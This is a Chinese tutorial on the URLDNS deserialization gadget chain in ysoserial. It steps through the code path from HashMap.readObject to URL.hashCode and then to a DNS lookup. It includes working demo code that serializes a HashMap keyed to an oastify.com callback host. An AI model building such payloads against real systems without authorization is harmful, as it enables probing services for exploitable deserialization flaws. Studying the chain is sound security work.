JavaSec-Java反序列化基础篇02-URLDNS链

里程碑式的工具:ysoserial

项目地址:https://github.com/frohoff/ysoserial

ysoserial的项目介绍

​ 2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利用,⼀⽯激起千层浪,彻底打开了⼀⽚Java安全的蓝海。⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。(生成序列化数据,数据再经过目标的反序列化处理达到攻击效果)

​ 因为Java反序列化后生成的是不可见字符,不方便构造;所以这个工具仅仅是用来帮助我们生成反序列化的poc;并不提供反序列化的点。此时我们可以举个例子:Java反序列化攻击相当于使用枪命中敌人;而yesoserial就是帮助我们制作子弹的;最终的攻击还需要我们将生成的子弹装进枪中。

ysoserial项目结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
│  GeneratePayload.java {{生成poc的入口函数}}
│ Deserializer.java {{反序列化模块}}
│ Serializer.java {{序列化模块}}
│ Strings.java {{字符处理模块}}

├─exploit {{一些直接调用的exp}}
│ JBoss.java
│ JenkinsCLI.java
│ JenkinsListener.java
│ ......

├─payloads {{生成gadget poc的代码}}
│ │ CommonsBeanutils1.java
│ │ URLDNS.java
│ │ .....
│ │
│ ├─annotation {{一些不重要的配置}}
│ │ Authors.java
│ │
│ └─util {{一些重复使用的单元}}
│ ClassFiles.java
│ Gadgets.java

└─secmgr {{和安全有关的管理}}
DelegateSecurityManager.java
ExecCheckingSecurityManager.java

我们从入口函数开始看起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

此时在此时接受两个参数;比如我们配置的URLDNS "http://xxx"

接下来通过final Class<? extends ObjectPayload> payloadClass = Utils.*getPayloadClass*(payloadType);获取poc的类比如我们上面填入的URLDNS

然后在此处实例化poc类并传入第二个参数:final ObjectPayload payload = payloadClass.newInstance();

然后最后通过Serializer.*serialize*(object, out);输出序列化数据

JavaSec-URLDNS

简介

URLDNSysoserial中一个利用链的名字,但是准确来说,它并不能算得上是利用链。因为其所带的参数不是一个可以利用的命令;而是一个URL,其最终触发的结果也不是命令执行,而是一次DNS请求。但是为什么我们又要将其加入我们的利用链中呢?原因如下:

1、使用Javad的内置的类构造,对第三方库没有依赖

2、在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

DNSURL分析

序列化分析

我们可以先来看看ysoserial中的生成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

这个时候先实例化了一个handler,这个类是继承URLStreamHandler并且重写了openConnectiongetHostAddress的方法;他们后面会起到非常关键的作用。接着是创建HashMap对象,URL对象,然后把dns的地址传入hashmap中,设置hashcode的值为-1,然后最后返回hashmap

gadget的形成

现在我们来动调看看这条gadget的形成;我们在ht.put(u, url);这里打上断点

跟进put方法;putVal是向hashmap中放入键值队的方法,他有三个参数:key计算之后的hash值、keyvalue

我们继续跟进到hash函数;hash函数的参数是一个对象,这里传入一个url对象,这里的hash函数不会直接计算传入对象的hashCode,而是利用这个对象自己的HashCode来进行计算(每一个类都会有自己的一个hashCode的计算方法)

此时我们继续跟进URLhashCode的计算方法:

此时会先判断hashCode的值是否为-1,如果不是就直接返回hashCode的计算结果,如果为-1则调用接口的hashCode继续计算,很显然我们主动设置了hashCode-1;那么此时便会继续调用URLStreamHandler类中的hashCode继续计算。

此时我们跟进URLStreamHandlerhashCode的计算方法

此时先使用了getProtocol获取协议,然后计算hashCode,接着就到了getHostAddress

此时我们跟进到getHostAddress;此时我们会发现返回值为null;并且是回到了作者重写的getHostAddress

那为什么作者会在这里重写一个getHostAddress呢?我们跟进到这个方法中会发现在getByName这个函数会触发DNS请求;如果没有重写这个getHostAddress方法;那么在序列化的时候就会导致DNS请求被触发,那么我们再次进行反序列化的时候就不会触发了,那么就达不到探测目的。

反序列化分析

demo代码

person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package URLDNS;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
public Person(String name,int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name = '" + name + '\'' +
",age = " + age + '}';
}

}

serialize.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package URLDNS;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://kwksiae3bb1jsxvxgb9y3ylz8qel2bq0.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
}

unserialize.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package URLDNS;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.HashMap;

public class Unserialize {
public static Object unserialize(String File) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(File));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
HashMap hashmap = (HashMap) unserialize("ser.bin");
System.out.println(hashmap);
}
}

gadget的形成

HashMap -> readObject()

此时我们通过反序列化的触发条件我们也得知触发条件为重写的readObject,因为Java开发者常在这里写自己的逻辑,所以导致这里有利用链可以构造,那么这个时候我们可以直奔HaspMap类的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

时我们可以发在putVal(*hash*(key), key, value, false, false);这里使用了hash函数来计算键名hash;我们在这里下一个断点。此时可能会有疑问,为什么要将断点下在这里呢?因为我们经过上面序列化的分析可知hash函数会触发hashCode紧接着会触发到 getHostAddress然后最后到达getHostAddress来发起DNS请求。此时在yesoserial的注释中也写得很明白了:*During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.*

hashCode的操作触发了DNS请求

HashMap -> hash()

开始动调;我们将断点下在putVal(*hash*(key), key, value, false, false)

URL -> hashCode()

此时跟进发现hash方法调用了keyhashCode方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
URLStreamHandler -> hashCode()

这时候URLDNS中使用的key是一个java.net.url对象,我们看看其hashCode方法:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

此时的handlerURLStereamHandler对象,继续跟进其hashCode方法:

URLStreamHandler -> getHostAddress()

这里发现了调用getHostAddress()方法

1
2
3
4
5
6
7
8
9
10
11
12
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
...
}
InetAddress -> getByName()

我们继续跟进getHostAddress;发现其中有触发DNS的操作函数:getByName(host),这个函数的作用是跟进主机名,获取其ip地址;说直白一点在网络上就是一次DNS查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

此时我们用一些第三方的反连平台就可以查看到这次请求。

此时的整条URLDNSgadget如下: